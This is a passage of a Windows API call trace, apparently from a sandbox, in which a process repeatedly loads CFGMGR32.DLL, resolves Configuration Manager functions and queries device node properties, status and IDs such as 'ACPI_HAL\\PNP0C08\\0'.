dnDevInst=0x2c, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.066] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0228.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68cb7b34, dwHighDateTime=0x1d9eb0c)) [0228.066] SetEvent (hEvent=0x248) returned 1 [0228.069] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.069] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.071] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.072] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.072] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0228.072] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.072] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0228.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68cb7b34, dwHighDateTime=0x1d9eb0c)) [0228.073] SetEvent (hEvent=0x248) returned 1 [0228.076] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.076] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.076] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.079] malloc (_Size=0x18) returned 0x196ef0d1c40 [0228.079] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.079] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0228.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68cddd9a, dwHighDateTime=0x1d9eb0c)) [0228.080] SetEvent (hEvent=0x248) returned 1 [0228.082] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.082] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.083] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.085] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0228.086] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.086] malloc (_Size=0x48) returned 0x196ef0fbe00 [0228.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68cddd9a, dwHighDateTime=0x1d9eb0c)) [0228.086] SetEvent (hEvent=0x248) returned 1 [0228.091] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.092] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.093] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.094] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.153] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.154] malloc (_Size=0x18) returned 0x196ef0d1a60 [0228.154] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0228.157] malloc (_Size=0x48) returned 0x196ef0fbea0 [0228.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68d9c798, dwHighDateTime=0x1d9eb0c)) [0228.157] SetEvent (hEvent=0x248) returned 1 [0228.162] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.162] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.164] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.165] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.165] malloc (_Size=0x18) returned 0x196ef0d2060 [0228.165] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2c, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0228.166] malloc (_Size=0x48) returned 0x196ef0fb950 [0228.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x68d9c798, dwHighDateTime=0x1d9eb0c)) [0228.166] SetEvent (hEvent=0x248) returned 1 [0228.170] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.170] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.174] malloc (_Size=0x18) returned 0x196ef0d1e60 [0228.174] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2c, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0228.175] malloc (_Size=0x48) returned 0x196ef0fb220 [0228.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x68dc2c44, dwHighDateTime=0x1d9eb0c)) [0228.175] SetEvent (hEvent=0x248) returned 1 [0228.179] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.179] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.179] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.182] malloc (_Size=0x18) returned 0x196ef0d20a0 [0228.182] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0228.183] malloc (_Size=0x48) returned 0x196ef0fb270 [0228.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x68dc2c44, dwHighDateTime=0x1d9eb0c)) [0228.183] SetEvent (hEvent=0x248) returned 1 [0228.189] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.189] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0228.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0228.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0228.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0228.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0228.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0228.192] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0228.192] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0228.192] CM_Get_Device_IDA (in: dnDevInst=0x4, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI_HAL\\PNP0C08\\0") returned 0x0 [0228.193] malloc (_Size=0x48) returned 0x196ef0fbb30 [0228.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x68de8d50, dwHighDateTime=0x1d9eb0c)) [0228.193] SetEvent (hEvent=0x248) returned 1 [0228.196] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0228.197] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0228.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") 